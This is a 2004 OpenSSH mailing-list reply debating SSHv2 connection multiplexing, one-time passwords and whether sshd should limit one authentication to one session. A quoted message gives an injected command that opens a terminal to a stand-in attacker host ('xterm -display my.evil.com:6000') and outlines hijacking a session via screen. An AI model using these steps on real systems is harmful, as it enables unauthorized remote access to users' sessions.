Connection caching?

[Peter Stuge]

On Mon, May 03, 2004 at 10:58:49PM -0400, Jefferson Ogata wrote:
> It disappoints me that you guys have so little concern about providing 
> controllable authentication mechanisms. You really just don't get how dumb 
> it is to have implemented this feature in the server /without/ having 
> provided a configuration directive to control it, do you?

>From draft-ietf-secsh-architecture-15.txt:

9.4 Connection protocol

9.4.1 End point security

   End point security is assumed by the connection protocol.  If the
   server has been compromised, any terminal sessions, port forwarding,
   or systems accessed on the host are compromised.  There are no
   mitigating factors for this.

   If the client end point has been compromised, and the server fails to
   stop the attacker at the authentication protocol, all services
   exposed (either as subsystems or through forwarding) will be
   vulnerable to attack.  Implementors SHOULD provide mechanisms for
   administrators to control which services are exposed to limit the
   vulnerability of other services.

   These controls might include controlling which machines and ports can
   be target in 'port-forwarding' operations, which users are allowed to
   use interactive shell facilities, or which users are allowed to use
   exposed subsystems.

>From draft-ietf-secsh-connect-18.txt:

5. Channel Mechanism

   All terminal sessions, forwarded connections, etc. are channels.
   Either side may open a channel.  Multiple channels are multiplexed
   into a single connection.


(Sorry for pasting so much into this thread..)



On Tue, May 04, 2004 at 01:36:15AM -0400, Jefferson Ogata wrote:
> >>I wouldn't agree that they're useless, but they're clearly incomplete, 
> >>hence the /need/ for a configuration directive.
> >
> >Let's imagine for a moment that the server restricts each client to only 
> >one session.  If the client is compromised, there's still nothing to 
> >stop it from jamming, eg, "xterm -display my.evil.com:6000" into the 
> >command line.  Or pretending the connection was terminated and hijacking 
> >the session outright.
> 
> The former is what OTP is supposed to prevent. The latter requires an 
> attacker of unusual skill.

Compared to breaking the SSH authentication I don't think it requires
all that much skill. This is getting political, but if your attacker
wants in, he can get it. I realize you don't want to protect against
attackers, rather against lazy users but that would IMHO be solved by
crond as with most other cleaning-up. :)


> >What it boils down to is that once a client is authenticated, the
> >server is trusting it with the credentials of the user it allowed
> >to log in.
> 
> I keep mentioning OTP here...

Please read up on the above mentioned secsh drafts, OTP can be used for
authentication of one SSHv2 session, which in turn can carry multiple
channels where a shell or a command is executed in each.


> >There's a limit to what the server can enforce.  How, for example, could 
> >it prevent a user from posting their passwordless private key to Usenet? 
> > Or writing their passwords on Post-It notes and sticking them on their 
> >monitor?  Pointing a webcam at their SecurID token?  I'm sure you'll 
> >agree that these are insecure behaviours.
> 
> Lazy users will do some of those things. But they won't typically scan a 
> hardcopy S/KEY password list in and post it on a web page. If they do, 
> they're not being lazy any more.

Right. With SSHv2 plus the ssh-session-agent all the attacker (sorry,
lazy user) has to do is to hijack the socket instead of the terminal.
I lack statistics to back this, but I think the terminal is easier to
reach, because of human error.


> Access control is supposed to be about authentication /and/ authorization.
> Authentication is ultimately your sole defense against intrusion. When 
> authentication is compromised, authorization is your control on the scope 
> of the compromise. What we have here is degraded control over 
> authorization, and apparently it's been that way for some time.

Yep, ever since support for multiple channels in SSHv2 was added.


> It is a reasonable expectation for an admin to be able to say: one 
> authentication authorizes one session. If the admin wants to relax that 
> control, fine, but it needs to be discretionary.

I'm not sure I read the SSHv2 drafts the same way.. They could of
course be improved, just like everything else, but if you want to help
with that (please do!) I'd suggest the ietf-secsh mailing list instead
of openssh-unix-dev.


On Tue, May 04, 2004 at 03:27:12AM -0400, Jefferson Ogata wrote:
> >Unless your OTP authenticates exactly one *command*, it won't stop a 
> >compromised client from injecting an extra command into an already 
> >authenticated login session.
> >
> >Your original statement was "You're advocating a mechanism that renders 
> >one-time password useless against a remote client compromise."  What I'm 
> >saying is that even with your proposed modification, it's still useless 
> >against remote client compromise.
> 
> You wrote "useless", where the correct wording would be "useful but not 
> totally secure."

SSHv2 puts all the security in the Transport Layer, anything on top
of that shouldn't try to impose more restrictions except for, as quoted
above, which users are allowed access to what services.


> > > The latter requires an attacker of unusual skill.
> >
> >Not necessarily.  Trivial example: set the user's login shell to 
> >"screen" on the machine running the ssh client, let them log in then 
> >kill their incoming TCP connection and resume their screen session.
> 
> All of your scenarios (change user shell, hack client, etc.) are 
> substantially more complex than:
> 
> 1. Get user shell somehow.

This is substantially complex on most all systems I know. I admit I
don't know all of the systems out there, though.

[..]

> In this scenario, the user could have authenticated a month ago. You
> seem to be assuming the attacker will have many opportunities to
> piggyback on live authentications, while I'm concerned about latent
> sessions providing a way to bypass authentication altogether.

So make sure users log out using e.g. crond?


> Again, these scenarios require a window for the intruder to prepare an 
> attack, and require modification of system configure or user profile, 
> either of which might be detected, and in any case, the user has to 
> authenticate /after/ the attacker has done his thing. Any attempt to
> hijack an already authenticated session after the fact requires, as I
> said, an advanced attacker, not just some idiot who can type "ssh
> bozo at victim" and get in because bozo logged in to victim six weeks ago
> and left a shell running.

Publish a system policy and kick the bozo out after a day. :)


> No, the server can't stop it completely. But a user's being able to
> exceed the limitations of sshd because he has an unrestricted shell
> is vastly different from sshd not providing hooks to limit
> authorization.

It's not a bug, it's a feature, hehe.


> >>It is a reasonable expectation for an admin to be able to say: one 
> >>authentication authorizes one session. If the admin wants to relax 
> >>that control, fine, but it needs to be discretionary.
> >
> >If "session" == "SSH session" that's what you've got now.  What we're 
> >disagreeing about is the value of making additional restrictions
> >within a single SSH session, for the reasons listed above.
> 
> By session, I mean a remote shell or command (albeit composite)
> invocation, obviously.

Not so obvious if you work a lot with the SSH protocol, since the
conecpt of a session is standardized there.


It seems that what you really want is some kind of system where the
user has to authenticate before every action she takes. This could be
accomplished with a custom shell, or an application server, or...

I'm not sure it really should be done with sshd? It compares well with
chroot()ing sftp users..


//Peter